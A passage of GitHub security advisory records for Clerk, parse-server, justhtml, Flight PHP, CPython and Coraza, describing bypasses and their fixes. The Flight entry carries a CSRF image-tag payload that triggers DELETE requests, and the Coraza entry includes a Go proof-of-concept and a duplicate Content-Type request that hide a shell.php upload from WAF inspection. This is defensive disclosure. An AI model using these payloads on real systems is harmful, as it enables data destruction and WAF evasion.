"details": "## Summary\n\n`createRouteMatcher` in `@clerk/nextjs`, `@clerk/nuxt`, and `@clerk/astro` can be bypassed by certain crafted requests, allowing them to skip middleware gating and reach downstream handlers.\n\nSessions are not compromised and no existing user can be impersonated - the bypass only affects the middleware-level gating decision.\n\n## Who is affected\n\nAll apps using `createRouteMatcher` should upgrade to the patched versions. Patches are drop-in with no API changes. The information below describes the scope of the bypass and helps you understand whether you are potentially affected, but is not a reason to delay the upgrade.\n\nApps relying only on middleware gating via `createRouteMatcher` are affected, because a crafted request can skip middleware checks and reach downstream handlers (API routes, server components, etc.). This middleware pattern permits the bypass:\n\n```ts\n// Next.js example, equivalent patterns exist in Nuxt and Astro\nconst isProtectedRoute = createRouteMatcher([\u0027/admin(.*)\u0027]);\n\nexport default clerkMiddleware(async (auth, req) =\u003e {\n if (isProtectedRoute(req)) {\n await auth.protect();\n }\n});\n```\n\nThat said, the bypass is limited to the middleware-level route-matching gate. `clerkMiddleware` still authenticates the request and `auth()` reflects the real authentication state of the caller. Auth checks performed inside your route handlers, server components, or server actions continue to work correctly and are not affected. Whether your app is affected in practice depends on whether you have those downstream checks.\n\nExternal APIs that authenticate each request with a token are also unaffected on those endpoints, since token verification runs independently.\n\nAdditionally, this common middleware pattern correctly blocks the bypass at the middleware layer:\n\n```ts\n// Next.js example, equivalent patterns exist in Nuxt and Astro\nconst isPublicRoute = createRouteMatcher([\u0027/docs(.*)\u0027]);\n\nexport default clerkMiddleware(async (auth, req) =\u003e {\n if (!isPublicRoute(req)) {\n await auth.protect();\n }\n});\n```\n\n`@clerk/shared` is usually not imported directly in application code, but if you import `createPathMatcher` from an affected `@clerk/shared` version, you are also affected. Run `npm why @clerk/shared` (or your package manager\u0027s equivalent) to check your installed version.\n\n## Recommended actions\n\nInstall the patched version for your framework (pick the one matching your current major):\n\n**`@clerk/nextjs`**\n- v7.x: fixed in `7.2.1`\n- v6.x: fixed in `6.39.2`\n- v5.x: fixed in `5.7.6`\n\n**`@clerk/nuxt`**\n- v2.x: fixed in `2.2.2`\n- v1.x: fixed in `1.13.28`\n\n**`@clerk/astro`**\n- v3.x: fixed in `3.0.15`\n- v2.x: fixed in `2.17.10`\n- v1.x: fixed in `1.5.7`\n\n**`@clerk/shared`**\n- v4.x: fixed in `4.8.1`\n- v3.x: fixed in `3.47.4`\n- v2.x: fixed in `2.22.1`\n\n## Workaround\n\nIf you cannot upgrade immediately, adding server-side auth checks (`auth()`) inside your route handlers, server components, or server actions provides defense-in-depth against this bypass.\n\n## Timeline\n\nThis issue was reported on 13 APR 2026, patched on 15 APR 2026, and publicly disclosed on 15 APR 2026.\n\nThanks to [Christiaan Swiers](https://github.com/YouGina) for the responsible disclosure of this vulnerability.",
"id": "GHSA-vqx2-fgx2-5wq9",
"modified": "2026-04-27T16:08:38Z",
"published": "2026-04-16T21:28:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/clerk/javascript/security/advisories/GHSA-vqx2-fgx2-5wq9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41248"
},
{
"type": "PACKAGE",
"url": "https://github.com/clerk/javascript"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Official Clerk JavaScript SDKs: Middleware-based route protection bypass"
}
GHSA-VR5F-2R24-W5HC
Vulnerability from github – Published: 2026-04-04 04:22 – Updated: 2026-04-06 23:43Impact
A file can be uploaded with a filename extension that passes the file extension allowlist (e.g., .txt) but with a Content-Type header that differs from the extension (e.g., text/html). The Content-Type is passed to the storage adapter without consistency validation. Storage adapters that store and serve the provided Content-Type (such as S3 or GCS) serve the file with the mismatched Content-Type. The default GridFS adapter is not affected because it derives Content-Type from the filename at serving time.
Patches
The file upload now derives the Content-Type from the filename extension, overriding any user-provided Content-Type when the file has an extension.
Workarounds
Configure the storage adapter or CDN to derive Content-Type from the filename extension instead of using the stored Content-Type.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.7.1-alpha.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.6.72"
},
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.73"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35200"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T04:22:11Z",
"nvd_published_at": "2026-04-06T20:16:27Z",
"severity": "LOW"
},
"details": "### Impact\n\nA file can be uploaded with a filename extension that passes the file extension allowlist (e.g., `.txt`) but with a `Content-Type` header that differs from the extension (e.g., `text/html`). The `Content-Type` is passed to the storage adapter without consistency validation. Storage adapters that store and serve the provided Content-Type (such as S3 or GCS) serve the file with the mismatched Content-Type. The default GridFS adapter is not affected because it derives Content-Type from the filename at serving time.\n\n### Patches\n\nThe file upload now derives the Content-Type from the filename extension, overriding any user-provided Content-Type when the file has an extension.\n\n### Workarounds\n\nConfigure the storage adapter or CDN to derive Content-Type from the filename extension instead of using the stored Content-Type.",
"id": "GHSA-vr5f-2r24-w5hc",
"modified": "2026-04-06T23:43:26Z",
"published": "2026-04-04T04:22:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-vr5f-2r24-w5hc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35200"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10383"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10384"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Parse Server: File upload Content-Type override via extension mismatch"
}
GHSA-VRX2-77F2-WW34
Vulnerability from github – Published: 2026-04-22 21:25 – Updated: 2026-04-22 21:25Summary
justhtml 1.17.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.
Most of these issues affected advanced or custom configurations rather than the default safe path.
Affected versions
justhtml<= 1.16.0
Fixed version
justhtml1.17.0released on April 19, 2026
Impact
Custom SVG / MathML sanitization policies
Custom policies that preserved foreign namespaces could allow dangerous content to survive sanitization, including:
- active HTML integration points such as SVG
<foreignObject>, MathML<annotation-xml encoding="text/html">, SVG<title>/<desc>, and MathML text integration points - mutation-XSS parser-differential payloads that looked inert in memory but became active HTML after reparse
- SVG
filter="url(...)"attributes that could trigger external fetches
These issues affected:
- JustHTML(..., sanitize=True) with custom foreign-namespace policies
- sanitize() / sanitize_dom()
- low-level terminal Sanitize(...) transform execution
Preserved <style> handling
Constructor-time sanitization and explicit Sanitize(...) transforms did not fully match sanitize() / sanitize_dom() when custom policies preserved <style>.
That could leave resource-loading CSS such as @import or background-image:url(...) in sanitized output from HTML string input.
Programmatic DOM serialization
Programmatic script, style, and Comment(...) nodes could still serialize into active markup in some edge cases.
This could affect applications that build or mutate DOM trees directly before calling to_html() or to_markdown(html_passthrough=True).
Cache mutation and DOM cycle handling
Two lower-severity hardening fixes were included:
- compiled sanitize-pipeline caches could be mutated after warming and weaken later sanitization
- parent/child cycles in programmatic DOM trees could cause infinite loops in operations such as
to_html()andsanitize_dom()
Default configuration
Most of the issues above did not affect ordinary parsed HTML with the default JustHTML(..., sanitize=True) configuration.
The main risk areas were:
- custom policies that preserve SVG or MathML
- custom policies that preserve
<style> - programmatic DOM construction or mutation
- low-level direct sanitizer/transform APIs
Recommended action
Upgrade to justhtml 1.17.0.
If users cannot upgrade immediately:
- avoid preserving SVG or MathML for untrusted input
- avoid preserving
<style>for untrusted input - avoid mutating programmatic DOM trees with untrusted
script,style, or comment content - avoid mutating warmed policy internals or sanitizer caches
Credit
Discovered during an internal security review of justhtml.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "justhtml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-436",
"CWE-471",
"CWE-79",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T21:25:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`justhtml` `1.17.0` fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.\n\nMost of these issues affected advanced or custom configurations rather than the default safe path.\n\n## Affected versions\n\n- `justhtml` `\u003c= 1.16.0`\n\n## Fixed version\n\n- `justhtml` `1.17.0` released on April 19, 2026\n\n## Impact\n\n### Custom SVG / MathML sanitization policies\nCustom policies that preserved foreign namespaces could allow dangerous content to survive sanitization, including:\n\n- active HTML integration points such as SVG `\u003cforeignObject\u003e`, MathML `\u003cannotation-xml encoding=\"text/html\"\u003e`, SVG `\u003ctitle\u003e` / `\u003cdesc\u003e`, and MathML text integration points\n- mutation-XSS parser-differential payloads that looked inert in memory but became active HTML after reparse\n- SVG `filter=\"url(...)\"` attributes that could trigger external fetches\n\nThese issues affected:\n- `JustHTML(..., sanitize=True)` with custom foreign-namespace policies\n- `sanitize()` / `sanitize_dom()`\n- low-level terminal `Sanitize(...)` transform execution\n\n### Preserved `\u003cstyle\u003e` handling\nConstructor-time sanitization and explicit `Sanitize(...)` transforms did not fully match `sanitize()` / `sanitize_dom()` when custom policies preserved `\u003cstyle\u003e`.\n\nThat could leave resource-loading CSS such as `@import` or `background-image:url(...)` in sanitized output from HTML string input.\n\n### Programmatic DOM serialization\nProgrammatic `script`, `style`, and `Comment(...)` nodes could still serialize into active markup in some edge cases.\n\nThis could affect applications that build or mutate DOM trees directly before calling `to_html()` or `to_markdown(html_passthrough=True)`.\n\n### Cache mutation and DOM cycle handling\nTwo lower-severity hardening fixes were included:\n\n- compiled sanitize-pipeline caches could be mutated after warming and weaken later sanitization\n- parent/child cycles in programmatic DOM trees could cause infinite loops in operations such as `to_html()` and `sanitize_dom()`\n\n## Default configuration\n\nMost of the issues above did **not** affect ordinary parsed HTML with the default `JustHTML(..., sanitize=True)` configuration.\n\nThe main risk areas were:\n\n- custom policies that preserve SVG or MathML\n- custom policies that preserve `\u003cstyle\u003e`\n- programmatic DOM construction or mutation\n- low-level direct sanitizer/transform APIs\n\n## Recommended action\n\nUpgrade to `justhtml` `1.17.0`.\n\nIf users cannot upgrade immediately:\n\n- avoid preserving SVG or MathML for untrusted input\n- avoid preserving `\u003cstyle\u003e` for untrusted input\n- avoid mutating programmatic DOM trees with untrusted `script`, `style`, or comment content\n- avoid mutating warmed policy internals or sanitizer caches\n\n## Credit\n\nDiscovered during an internal security review of `justhtml`.",
"id": "GHSA-vrx2-77f2-ww34",
"modified": "2026-04-22T21:25:46Z",
"published": "2026-04-22T21:25:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-vrx2-77f2-ww34"
},
{
"type": "PACKAGE",
"url": "https://github.com/EmilStenstrom/justhtml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "justhtml has sanitization bypass in custom policies and programmatic DOM"
}
GHSA-VXRR-W42W-W76G
Vulnerability from github – Published: 2026-05-06 21:38 – Updated: 2026-05-14 20:40Summary
Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin.
Affected code
flight/net/Request.php (≈ lines 281-292):
public static function getMethod(): string
{
$method = self::getVar('REQUEST_METHOD', 'GET');
if (self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE') !== '') {
$method = self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE');
} elseif (isset($_REQUEST['_method']) === true) {
$method = $_REQUEST['_method'];
}
return strtoupper($method);
}
$_REQUEST aggregates $_GET and $_POST; on PHP runtimes with request_order=GPC it also includes $_COOKIE.
Proof of concept
GET /item/42?_method=DELETE HTTP/1.1
is dispatched as DELETE /item/42.
GET /item/42 HTTP/1.1
X-HTTP-Method-Override: DELETE
is also dispatched as DELETE /item/42.
Trivial CSRF vector (no JavaScript required):
<img src="https://victim.tld/item/42?_method=DELETE">
loaded on any attacker-controlled page triggers the destructive DELETE on page load, bypassing Same-Origin Policy (image loads are not blocked).
Reproduced against /poc4/item/42.
Impact
- GET → DELETE / PUT CSRF on any route registered for unsafe verbs.
- Bypass of authentication, CSRF token, or rate-limiting middleware that is gated only on POST/DELETE.
- CDN cache poisoning: the CDN caches the GET response body while the origin executed a DELETE.
Patch (fixed in 3.18.1, commit b8dd23a)
A new flight.allow_method_override setting controls both override vectors. Operators can set it to false to disable X-HTTP-Method-Override and _method entirely.
Credit
Discovered by @Rootingg.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "flightphp/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.18.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42551"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T21:38:16Z",
"nvd_published_at": "2026-05-13T20:16:22Z",
"severity": "HIGH"
},
"details": "### Summary\n`Request::getMethod()` unconditionally honors the `X-HTTP-Method-Override` header and the `$_REQUEST[\u0027_method\u0027]` parameter on **any** HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin.\n\n### Affected code\n`flight/net/Request.php` (\u2248 lines 281-292):\n\n```php\npublic static function getMethod(): string\n{\n $method = self::getVar(\u0027REQUEST_METHOD\u0027, \u0027GET\u0027);\n if (self::getVar(\u0027HTTP_X_HTTP_METHOD_OVERRIDE\u0027) !== \u0027\u0027) {\n $method = self::getVar(\u0027HTTP_X_HTTP_METHOD_OVERRIDE\u0027);\n } elseif (isset($_REQUEST[\u0027_method\u0027]) === true) {\n $method = $_REQUEST[\u0027_method\u0027];\n }\n return strtoupper($method);\n}\n```\n\n`$_REQUEST` aggregates `$_GET` and `$_POST`; on PHP runtimes with `request_order=GPC` it also includes `$_COOKIE`.\n\n### Proof of concept\n```\nGET /item/42?_method=DELETE HTTP/1.1\n```\nis dispatched as `DELETE /item/42`.\n\n```\nGET /item/42 HTTP/1.1\nX-HTTP-Method-Override: DELETE\n```\nis also dispatched as `DELETE /item/42`.\n\nTrivial CSRF vector (no JavaScript required):\n```html\n\u003cimg src=\"https://victim.tld/item/42?_method=DELETE\"\u003e\n```\nloaded on any attacker-controlled page triggers the destructive DELETE on page load, bypassing Same-Origin Policy (image loads are not blocked).\n\nReproduced against `/poc4/item/42`.\n\n### Impact\n- GET \u2192 DELETE / PUT CSRF on any route registered for unsafe verbs.\n- Bypass of authentication, CSRF token, or rate-limiting middleware that is gated only on POST/DELETE.\n- CDN cache poisoning: the CDN caches the GET response body while the origin executed a DELETE.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\nA new `flight.allow_method_override` setting controls both override vectors. Operators can set it to `false` to disable `X-HTTP-Method-Override` and `_method` entirely.\n\n### Credit\nDiscovered by **@Rootingg**.",
"id": "GHSA-vxrr-w42w-w76g",
"modified": "2026-05-14T20:40:04Z",
"published": "2026-05-06T21:38:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flightphp/core/security/advisories/GHSA-vxrr-w42w-w76g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42551"
},
{
"type": "WEB",
"url": "https://github.com/flightphp/core/commit/b8dd23aaa828cb289fa3c84e75b2a3717cab50b0"
},
{
"type": "PACKAGE",
"url": "https://github.com/flightphp/core"
},
{
"type": "WEB",
"url": "https://github.com/flightphp/core/releases/tag/v3.18.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flight: HTTP method override enabled by default, facilitating CSRF escalation and middleware bypass"
}
GHSA-W246-X8QV-R8F5
Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-11-10 15:32The "stringprep" module didn't process characters from RFC 3454 tables B.2 or B.3 correctly: the latest Unicode codepoint attributes were used instead of the specified Unicode 3.2.0. This behavior would cause mismatches when processing domain names using IDNA 2003 (the "idna" codec) and the in_table_b2() function of the "stringprep" module. This only affects domain names containing characters that were not previously registered or had their Unicode attributes such as case-folding behavior updated since Unicode 3.2.0.
{
"affected": [],
"aliases": [
"CVE-2026-17084"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T14:16:56Z",
"severity": "MODERATE"
},
"details": "The \"stringprep\" module didn\u0027t process characters from RFC 3454 tables \nB.2 or B.3 correctly: the latest Unicode codepoint attributes were used \ninstead of the specified Unicode 3.2.0. This behavior would cause \nmismatches when processing domain names using IDNA 2003 (the \"idna\" \ncodec) and the in_table_b2() function of the \"stringprep\" module. This \nonly affects domain names containing characters that were not previously\n registered or had their Unicode attributes such as case-folding \nbehavior updated since Unicode 3.2.0.",
"id": "GHSA-w246-x8qv-r8f5",
"modified": "2026-11-10T15:32:56Z",
"published": "2026-08-18T15:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17084"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/issues/155292"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/pull/155293"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/1e54caa096678a38afcabecabb1ff72400dd6bae"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/5181304bcec9cfc3c15311741c9154cdff2e3fd7"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/69f92ebaec681e9149dfd70fd02d4ed52d2a6296"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/7e109d084d55e7eb25837a5f3b47ef9beee547bc"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/c016c2535b74227fddf2cf7334dbfead6c930214"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/c28b121a4f0b975937c8b5a1b4934bb361d84296"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/c42790b34f634051750e5da340d17c7da19e4784"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/d397a4979cfc80a8cd6c73838aa10e9c8cf5ef72"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-457936.html"
},
{
"type": "WEB",
"url": "https://mail.python.org/archives/list/security-announce@python.org/thread/EUHHTC6EV7HCLSUHP25C5VHSV4V2MUZN"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/18/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W253-M66G-RX24
Vulnerability from github – Published: 2026-10-08 17:51 – Updated: 2026-10-08 17:51Summary
Coraza fails to inspect URL-encoded form bodies when their valid Content-Type contains a media-type parameter, for example:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
An unauthenticated attacker can use this header to hide the complete form body from custom Coraza rules that inspect ARGS_POST or REQUEST_BODY, while the bundled Go HTTP middleware forwards the body and the backend parses it normally.
This is a deterministic request-body inspection bypass. Suggested severity: Medium. Current OWASP CRS includes rule 901340, which forces fallback inspection and mitigates this path; this report does not claim a bypass of an unmodified current CRS ruleset
Details
The affected component is request-body processor selection in internal/corazawaf/transaction.go.
Transaction.AddRequestHeader compares the complete lowercased header value using exact equality:
case "content-type":
val := strings.ToLower(value)
if val == "application/x-www-form-urlencoded" {
tx.variables.reqbodyProcessor.Set("URLENCODED")
} else if strings.HasPrefix(val, "multipart/form-data") {
tx.variables.reqbodyProcessor.Set("MULTIPART")
}
Source: internal/corazawaf/transaction.go, lines 383-390.
The media type of application/x-www-form-urlencoded; charset=UTF-8 remains application/x-www-form-urlencoded; charset is a parameter. Because Coraza compares the entire header, the comparison fails and REQBODY_PROCESSOR remains empty.
ProcessRequestBody treats the empty processor as success:
rbp = strings.ToLower(rbp)
if rbp == "" {
tx.WAF.Rules.Eval(types.PhaseRequestBody, tx)
return tx.interruption, nil
}
Source: internal/corazawaf/transaction.go, lines 1115-1120.
Coraza therefore evaluates phase 2 without parsing the body and without setting REQBODY_ERROR. The URL-encoded processor that normally populates ARGS_POST, REQUEST_BODY, and REQUEST_BODY_LENGTH is never invoked.
The bundled middleware buffers and reconstructs the full request body before invoking the backend. The backend consequently receives data that was absent from Coraza's body variables.
The issue exists in the standard compiled implementation; no special build tag is required. Request-body access defaults to Off in an empty configuration, but Coraza's recommended configuration enables it with SecRequestBodyAccess On.
PoC
Save this self-contained test as parameterized_form_bypass_test.go in the Coraza repository root:
package coraza_test
import (
"net/http"
"net/http/httptest"
"strings"
"testing"
coraza "github.com/corazawaf/coraza/v3"
corazahttp "github.com/corazawaf/coraza/v3/http"
)
func TestParameterizedFormInspectionBypass(t *testing.T) {
cfg := coraza.NewWAFConfig().WithDirectives(`
SecRuleEngine On
SecRequestBodyAccess On
SecRule ARGS_POST:cmd "@streq evil" "id:910001,phase:2,deny,status:403,t:none"
`)
waf, err := coraza.NewWAF(cfg)
if err != nil {
t.Fatal(err)
}
backendSaw := ""
handler := corazahttp.WrapHandler(waf, http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
if err := r.ParseForm(); err != nil {
t.Fatal(err)
}
backendSaw = r.PostForm.Get("cmd")
w.WriteHeader(http.StatusNoContent)
},
))
req := httptest.NewRequest(
http.MethodPost,
"http://example.test/",
strings.NewReader("cmd=evil"),
)
req.Header.Set(
"Content-Type",
"application/x-www-form-urlencoded; charset=UTF-8",
)
rec := httptest.NewRecorder()
handler.ServeHTTP(rec, req)
if rec.Code != http.StatusNoContent {
t.Fatalf("expected request to reach backend, status=%d", rec.Code)
}
if backendSaw != "evil" {
t.Fatalf("backend did not receive malicious value: %q", backendSaw)
}
}
Run:
go test . -run TestParameterizedFormInspectionBypass -v
Observed:
=== RUN TestParameterizedFormInspectionBypass
--- PASS: TestParameterizedFormInspectionBypass (0.00s)
PASS
The test passes only when Coraza fails to return its configured 403 response and the backend parses cmd=evil.
As a control, change the header to:
Content-Type: application/x-www-form-urlencoded
Coraza then selects the URL-encoded processor, exposes cmd=evil as ARGS_POST:cmd, and returns 403 before the backend runs.
Impact
This is a parser differential and request-body inspection bypass affecting applications protected by custom Coraza rules.
An unauthenticated attacker can add charset=UTF-8 to an ordinary form request. Coraza then runs phase-2 rules without the submitted parameters and reports no body-processing failure, while the application receives and processes those parameters.
Rules relying on these variables are affected on this path:
ARGS_POSTARGSfor POST-derived valuesARGS_POST_NAMESARGS_NAMESREQUEST_BODYREQUEST_BODY_LENGTH
This defeats custom rules intended to reject injection strings, dangerous commands, or forbidden business values in form fields. The final application impact depends on the backend behavior that the bypassed rule was intended to protect.
Affected operators are those who enable request-body access and rely on automatic URL-encoded parsing without current CRS rule 901340, ctl:forceRequestBodyVariable=On, an explicitly forced processor, or equivalent backend validation.
The fix is to parse Content-Type according to MIME syntax and compare the normalized media type without parameters, for example with Go's mime.ParseMediaType. If an expected body has no processor, Coraza should expose an explicit processing error instead of silently evaluating phase 2 with empty variables.
Follow-up (2026-09-30): duplicate Content-Type headers desynchronize processor selection from the parsed body
The original fix made body-processor selection tolerant of media-type parameters (charset=UTF-8 etc.) by switching from exact equality to strings.HasPrefix. A second, distinct gap was found while reviewing that same selection code: it never accounted for a request carrying more than one Content-Type header.
Root cause
Transaction.AddRequestHeader is called once per header by the integrator (documented contract). Its content-type case runs on every call:
case "content-type":
val := strings.ToLower(value)
if strings.HasPrefix(val, "application/x-www-form-urlencoded") {
tx.variables.reqbodyProcessor.Set("URLENCODED")
} else if strings.HasPrefix(val, "multipart/form-data") {
tx.variables.reqbodyProcessor.Set("MULTIPART")
}
A request with two Content-Type headers therefore has its body-processor selection silently overwritten by the last one, since each call unconditionally calls Set. Meanwhile, ProcessRequestBody extracts the mimeType it passes to whichever processor gets selected from requestHeaders.Get("content-type")[0] -- the first value (internal/corazawaf/transaction.go, a few hundred lines below AddRequestHeader) -- and Go's net/http Header.Get (what a typical backend uses) also returns only the first value. So selection follows the last header while everything else follows the first, and the two can disagree entirely.
PoC
Content-Type: multipart/form-data; boundary=XyZ
Content-Type: application/x-www-form-urlencoded
with a genuine multipart body containing cmd=evil and a shell.php file upload. Against commit 19b86824:
reqbodyProcessorresolves to"URLENCODED"(the second, spoofed header wins).- The URL-encoded processor runs against the raw multipart body text, parses without error, and produces nothing.
ARGS_POST:cmd,FILES, andFILES_NAMESare all empty -- the entire payload is invisible to any rule inspecting those variables.- The backend (or any integrator using
Header.Get, which reads the first value) still seesContent-Type: multipart/form-dataand parsescmd=eviland the uploadedshell.phpnormally.
Current OWASP CRS includes rule 920620 (Content-Type header sanity check via count/format), which catches this shape; the recommended coraza.conf-recommended has no equivalent, so a Coraza deployment with only custom rules (no CRS) is exposed.
Fix
Only the first Content-Type header may set reqbodyProcessor: guard the existing logic with if tx.variables.reqbodyProcessor.Get() == "". This makes header-driven processor selection consistent with ProcessRequestBody's own mimeType extraction and with standard Header.Get semantics, without a new field (nothing else can set reqbodyProcessor before headers finish processing; ctl:requestBodyProcessor and ForceRequestBodyVariable both run afterward, in phase 1 rule evaluation and body processing respectively, and are unaffected).
As defense in depth, a rule author can also detect the anomaly directly today, with no code change: SecRule &REQUEST_HEADERS:Content-Type "@gt 1" "deny,..." -- left as a suggested addition to coraza.conf-recommended rather than bundled into this fix, since it is a policy choice (deny vs. flag) rather than a correctness requirement.
AI involvement disclosure
- AI tools/models used: Claude Sonnet 5 (Anthropic), via Claude Code.
- What was generated/assisted: the vulnerability hypothesis and repro shape were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source, traced the
mimeType/Header.Getfirst-value asymmetry, wrote and ran a fresh PoC against commit19b86824confirming the full bypass (ARGS_POST/FILES/FILES_NAMESall empty), verified the fix closes it, and drafted this addendum. - Review performed: reproduced by hand against a clean checkout of commit
19b86824before and after the fix using the realTransactionAPI (AddRequestHeaderx2,WriteRequestBody,ProcessRequestBody); confirmed the regression test fails deterministically against the pre-fix code and passes after it; ran the full test suite, the build-tag matrix (coraza.no_memoize,coraza.rule.multiphase_evaluation,coraza.rule.no_regex_multiline), and thetesting/corerulesetCRS regression suite, all green; reviewed by a human maintainer (fzipi) before this addendum was submitted.
Fix: https://github.com/corazawaf/coraza-ghsa-w253-m66g-rx24/pull/2
Patched in 3.8.1
The 3.8.0 fix was incomplete. 3.8.1 completes it: only the first Content-Type header now selects the body processor (the one a typical backend reads with Header.Get), and leading whitespace in the media type, including Unicode whitespace that net/http accepts, is trimmed the way mime.ParseMediaType trims it. Upgrade to 3.8.1; 3.8.0 is listed as affected.
Severity (revised 2026-10-02)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N (5.8, Medium).
Attack Complexity is Low: every form and multipart parser accepts these Content-Type values. The previous vector used Scope Unchanged (5.3).
Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.
AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the S:C/I:L impact convention and directed this update.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/corazawaf/coraza/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.4"
},
{
"fixed": "3.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T17:51:53Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
